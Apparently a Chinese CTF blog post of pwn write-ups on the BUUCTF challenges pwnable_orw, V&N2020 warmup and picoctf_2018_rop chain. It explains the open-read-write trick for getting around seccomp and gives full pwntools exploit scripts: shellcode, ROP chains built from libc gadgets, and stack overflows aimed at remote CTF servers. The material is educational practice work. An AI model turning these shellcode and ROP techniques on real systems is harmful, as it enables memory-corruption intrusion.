学到一种新的做法,orw(open,read,write),可以用在system,fork syscall(不能打开子进程,需要在当前进程里读入flag并输出) 和execve被禁的情况下打印出flag,还有seccomp
虽然还不太懂,但先记录一下目前的理解
seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
0表示read,1表示write,打开的文件之后用3表示
pwnable_orw
保护只开了canary
orw,可以自己手写汇编,也可以用pwntools里面带的shellcraft
https://www.jianshu.com/p/ecfecbf6a685
sys_open 系统调用传递的四个寄存器参数即具体实现:
eax = 0x05 系统调用号
ebx = filename 文件名
ecx = flags 置零即可
edx = mode 置零即可
sys_read 系统调用传递的四个寄存器参数即具体实现:
eax = 0x03 系统调用号
ebx = fd 文件指针,就是open的返回值,不需要改变
ecx = buf 缓冲区,指向栈顶位置
edx = count 字节数
sys_write 系统调用传递的四个寄存器参数即具体实现:
eax = 0x04 系统调用号
ebx = fd 文件指针,置为1,打印到屏幕
ecx = buf 缓冲区,指向栈顶
edx = count
flag的16进制为0x666c6167
但写的时候好像开头只要2个6,并且要补0(暂不清楚是为什么)
汇编exp:
from pwn import *
from LibcSearcher import *
local_file = './orw'
local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
remote_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 26252)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
p = '''
push 0x0
push 0x67616c66
xor ecx, ecx
xor edx, edx
mov ebx, esp
mov eax, 0x5
int 0x80
nop
mov eax, 0x3
mov ebx, 0x3
mov ecx, esp
mov edx, 0x100
int 0x80
nop
mov eax, 0x4
mov ebx, 0x1
mov ecx, esp
mov edx, 0x100
int 0x80
'''
sea('Give my your shellcode:', asm(p))
r.interactive()
shellcraft exp:
from pwn import *
from LibcSearcher import *
local_file = './orw'
local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
remote_libc = './libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 28154)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
sh = shellcraft.open('./flag')
sh += shellcraft.read(3, 'esp', 100)
sh += shellcraft.write(1, 'esp', 100)
sh = asm(sh)
sla('Give my your shellcode:',sh)
r.interactive()
- [V&N2020 公开赛]warmup
pie开了,除了canary都开了
这题也让我学到了新东西,比如bss,pop_di等等用的都是libc里的,要ROPgadget --binary libc --only ‘pop|ret’ | grep ‘rdi’ 和 readelf -S libc | grep “.bss”
后面只能溢出0x10,最多覆盖ret
因为本题不含有flag字符串,所以先用read写入flag到bss段,然后orw打印flag
在第一个rop结束之后,栈正好恢复到上一个函数,因此可以继续执行rop
exp:
from pwn import *
from LibcSearcher import *
local_file = './vn_pwn_warmup'
local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
remote_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 29550)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
ru('Here is my gift: 0x')
puts_addr = int(rc(12), 16)
info_addr('puts', puts_addr)
libcbase = puts_addr - 0x06f690
libcbase = puts_addr - libc.sym['puts']
info_addr('libcbase', libcbase)
open_addr = libcbase + libc.sym['open']
read = libcbase + libc.sym['read']
write = libcbase + libc.sym['write']
bss = 0x00000000003c5720 + libcbase
pdi = 0x0000000000021102 +libcbase #pop rdi ; ret
psi = 0x00000000000202e8 +libcbase #pop rsi ; ret
pdx = 0x0000000000001b92 +libcbase #pop rdx ; ret
pdx_si = 0x00000000001150c9 +libcbase #pop rdx ; pop rsi ; ret
p=p64(0)
p += p64(pdx_si) + p64(0x100) + p64(bss+0x800) + p64(read)
p += p64(pdi) + p64(bss+0x800) + p64(pdx_si) + p64(0) + p64(0) + p64(open_addr)
p += p64(pdi) + p64(3) + p64(pdx_si) + p64(0x100) + p64(bss+0x800) + p64(read)
p += p64(pdi) + p64(1) + p64(pdx_si) + p64(0x100) + p64(bss+0x800) + p64(write)
sea('Input something: ', p)
p = 'a'*0x78 + p64(pdi)
sea('What\'s your name?', p)
se('flag\x00\x00\x00\x00')
r.interactive()
- picoctf_2018_rop chain
这题是一个32位的rop chain, 达成flag的条件就可以拿到flag
exp:
from pwn import *
from LibcSearcher import *
local_file = './PicoCTF_2018_rop_chain'
local_libc = '/lib/x86_64-linux-gnu/libc-2.27.so'
remote_libc = '/lib/x86_64-linux-gnu/libc-2.27.so'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 26850)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
win1 = 0x080485CB
win2 = 0x080485D8
flag = 0x0804862B
#main = elf.sym['main']
#pop_ret = 0x080485d6 # pop ebp ; ret
p = 'a'*0x18 + 'b'*4 + p32(win1) + p32(win2) + p32(flag) + p32(0xBAAAAAAD)
p += p32(0xDEADBAAD)
sea('Enter your input> ', p)
r.interactive()